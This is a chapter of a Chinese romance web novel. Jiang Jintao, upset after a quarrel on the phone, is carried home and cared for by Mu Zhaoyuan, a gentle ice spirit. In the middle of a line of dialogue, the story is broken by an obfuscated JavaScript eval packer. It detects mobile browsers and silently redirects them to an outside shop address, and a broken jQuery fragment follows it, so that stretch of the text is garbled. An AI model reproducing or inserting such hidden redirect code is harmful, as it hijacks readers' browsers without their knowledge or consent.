对面许久都没有说话。
仅凭这一点,姜瑾桃就能猜出,在之前的关系中,程庭晔大概率是个不肯低头认错的。
他总需要台阶。
可现在的姜瑾桃不乐意给他机会。
她不愿多说,只冷漠道:“像我之前说的,这种事情见面谈。”
对面安静了两秒,正当姜瑾桃准备挂断电话时,程庭晔冷淡出声:“姜瑾桃,你到底要怎么样?”
姜瑾桃的耐心已经被耗尽,心里那根绷着的弦突然断裂,客气和疏离的面具被她抛之脑后:“我要你尊重我!”
她说完,按下挂断键,将手机关机,扔在一边。
然后闭上眼,极力按下心头的焦躁。
可那股负面情绪在她的心口来回冲撞,无论她怎么努力地去遏制,都难以成功。
闭眼再睁眼的工夫,她已经在车里坐了许久。
缓慢睁眼,再扭头看向车窗外,姜瑾桃就见一张放大的脸出现在她眼前。
两人之间只隔着车窗,姜瑾桃凑近,都能看见他长长的睫毛,还有他手里提着的……
是……冰灯?
穆昭远继续凑近,鼻尖被窗户挤成一个小小的圆形,配合着他好奇不解的眼神,多了几分滑稽可爱的意味。
她的车窗做过处理,外面的人是看不见里面的景象的。
穆昭远似乎意识到了这一点,不再往里四处看,而是后退一步,原地徘徊。
为什么不来敲窗户呢?姜瑾桃心里想。
她感觉心情平复了些,拿起手机重新开机,看见时间,才发现她已经在车里坐了半个小时了。
那他……岂不是等了很久?
姜瑾桃将车熄了火,打开车门,就看见穆昭远等在不远处,眼睛在见到她的一瞬间亮起。
他放下冰灯,上前迎她。
姜瑾桃刚下车,脚接触地面的那瞬膝盖处传来刺痛,她拧眉,脚下不稳。
下一秒,她跌进一个温暖的怀抱。她闻见,穆昭远的身上有和她类似的沐浴露味,但也带着一种很自然的松香味。
车库的灯光昏暗偏黄,她总觉气氛旖旎。
整个脸几乎埋在他的胸口,姜瑾桃狼狈地往后撤,勉强站定。
不知道穆昭远是不是不清楚该怎么应对,松开她的动作也迟滞缓慢。
“小心。”穆昭远又轻轻将手放在她的肩膀处,担忧地上下打量,“哪里受伤了?”
“就……脚下一滑,摔了一跤。左脚脚踝和膝盖都有些疼。”姜瑾桃简单解释,抬眸,才发觉两人的距离竟然这样近。
穆昭远低头,而她抬头,无论谁再向对方靠近一点,就会吻上。
姜瑾桃眼神闪烁,很快垂下眼,心跳有些快。
“那我……抱你回去?”穆昭远试探着问。
姜瑾桃闻言,往后退了一步:“不方便。我还能走。”
“这里没有别人。”穆昭远看了看四周,突然道,“而且……我应该帮你。”
“啊?”姜瑾桃握着手中的手机,莫名紧张。
穆昭远说的确实没有问题。但一直以来,保持与异性的距离,好像也不只是为了避嫌。
她想起什么,连忙开口:“我的包在副驾驶。要不……你先帮我拿来?”
“好。”穆昭远从车前绕过去,拉开副驾驶车门,去取包。
见他离开,姜瑾桃靠着车门,手心微微发汗。
垂眸出神的片刻,穆昭远重新站定在她身前,将包递给她:“你的包。”
“好。”
穆昭远低头,很认真地问:“所以……要我背你吗?这里没有别人。”
一直以来,姜瑾桃接受的教育就是要求她妥协、顺从、体贴、守规,这让她一度认为是她良好教育的核心部分,是她进入上层社会的通行证。
虽然她在这方面做得并不到位,但她从前没有怀疑过这份真实。
可在这并不宽敞的地下车库,在暖黄的灯光下,有个人用一双天真的眼睛,温柔地叩问她的本心,说:“这里没有别人,所以你可以依靠我。”
而且,是可以,而非应该。
“那……麻烦你了。”姜瑾桃犹豫抬头,声音并不算大。
“没事。”穆昭远自然地笑了笑,然后蹲在她身前,示意她上来。
姜瑾桃爬上他的背,感觉他并不是很费力地站了起来,有些颠覆她对穆昭远的认知。待他站起来,往前走,姜瑾桃觉得视野开阔了不少。
“姜瑾桃,你能帮我拿一下冰灯吗?”
“哦好。”姜瑾桃接过他手中的冰灯,握住提灯的杆,光滑、温润,与她手镯质地相同。
出了车库,穆昭远背着她穿过小院,两人共同迎上最后一抹晚霞。
这是第一次,姜瑾桃趴在一个人的肩头,想让晚霞再停留久一些,想让时间变长一些,想再多依靠一个人一些。
如果她十八岁,会觉得这些想法是最美好的憧憬。
但她二十八岁,就觉得这些想法是最危险的沉沦。
她垂眸,眉头微蹙。
可是,一定要这么想吗?
她缓缓地用手臂圈住穆昭远,在他肩上趴得更稳当些。
姜瑾桃刷开指纹锁,和他一起进了屋子。
“我把包放下。”姜瑾桃侧过身,把包挂好,也将冰灯稳稳放在玄关处。收回手的时候,她瞥了一眼近在咫尺的餐桌,犹豫着,将下巴抵在他肩膀上。
“嗯?”穆昭远微微回头,见她并没有露出难受的神色,只是与他错开目光,也就放下心来,“坐在餐桌可以吗?”
“嗯。”
穆昭远把姜瑾桃小心地放下来,然后径直走向客厅的电视柜,找到药箱。
“需要我帮你涂药吗?”他搬来药箱,蹲在她身前,声音温柔。
姜瑾桃一边挽起裤腿,一边低声应着。
两人都看见,姜瑾桃脚踝处已经红肿,膝盖处一大块瘀青令人心惊。
穆昭远仔细阅读了说明书,找到一支药膏,轻轻涂抹在她的膝盖上。他垂着眼,模样专注认真,睫毛投下一小片阴影,仿佛一件未经雕琢的艺术品。
不知道是因为今日烦心事太多,她疲惫到出神,还是因为刚才穆昭远那句“这里没有别人”的话,让她动摇反省。姜瑾桃不觉望着他许久,直到穆昭远抬头,两人视线交错。
“你今天是不是累了?”他放柔语气,“还是说,遇到了烦心事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768085|209806||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
“都有吧。”姜瑾桃自知状态不佳,也没在他面前强颜欢笑。
“我去给你准备冰敷。”穆昭远把手头的药膏收拾好,转头去卫生角找来一块一次性毛巾,回来。
姜瑾桃见他开始琢磨手里这块毛巾怎么系在她的脚踝上,疑惑问:“不是拿冰块?”
穆昭远同样疑惑地看了她一眼,只见幽蓝光束钻入毛巾,亮了一下,里面便装满了碎冰。
姜瑾桃:“……”
“可能会有些凉。不舒服你就跟我说。”他低头,耐心地帮她系好毛巾,“你现在饿不饿,如果不饿,我把菜再热一下。”
姜瑾桃听着那些始终温柔的话,与先前苏琦月和程庭晔嘲讽的话对比,只觉得感慨。
“所以,饿不饿?”穆昭远见她始终不说话,神色中添了些谨慎,怕自己没有照顾她的感受。
“不饿。我……单纯不太想吃东西。”
“多少吃一点吧。”穆昭远也不太敢多说,端起桌上的几盘菜,转身又进了厨房。
姜瑾桃看着他一件一件穿上那雨衣,戴上防毒面具,过程极其繁琐,但他从始至终没有敷衍了事。
饭菜的香气从厨房飘来,锅碗的叮当给她心中的安定。
她看见那个被包得严严实实的穆昭远,头一次没有笑他这身滑稽的装扮。
饭菜摆好,衣服脱下。穆昭远重新蹲在她身前,让那些即将融化的碎冰重新变得坚硬。
“穆昭远,”姜瑾桃低头,抓住他的手腕,不让他离开,接着小声问,“你为什么对我这么好?”
为什么不抱怨狭小的冰柜?为什么无条件地相信她?为什么不了解人类社会的规则,却还是能给她十足的尊重?
她会担心穆昭远带着目的而来,会担心自己看不透他。
归根到底,是怕自己受到伤害。
这个问题,姜瑾桃知道自己是在暴露软弱,但她就是想要一个安心的答案。
也相信,穆昭远能给她一个让她放心轻松的答案。
蹲在自己身前的精灵抬头,眼底盛装着真诚和善意。
他斟酌着词句开口:
“因为……你给了我一个人类意义上的家。”
//
晚餐过后,姜瑾桃没有如往常一般回房间加班,而是坐在沙发上发呆。
她感觉身侧的沙发一沉,才注意到穆昭远不知道什么时候从冷库里出来,换了件白色毛衣,手里抱着那盏冰灯。
“你一般……做什么事情会高兴起来?”穆昭远问。
姜瑾桃见她很努力地在哄自己高兴,微笑着摇摇头:“没事,我坐一会儿就好了。你怎么知道我不高兴的?”
姜瑾桃一直以为,自己的表情管理做得还算可以。
“因为你今天把自己关在不透光的车子里。”穆昭远抬眼,明显不理解车子为什么透过窗户看不到她,“一个人坐在里面,会很闷,很压抑,我觉得你不会开心。”
不开心?
姜瑾桃抬手,碰了碰他怀里的冰灯。
其实在车里看见穆昭远担忧不解的神色,她暂时从烦躁中抽身出来,好像是因为知道起码有一个人担心她的情绪,关心她有没有回家。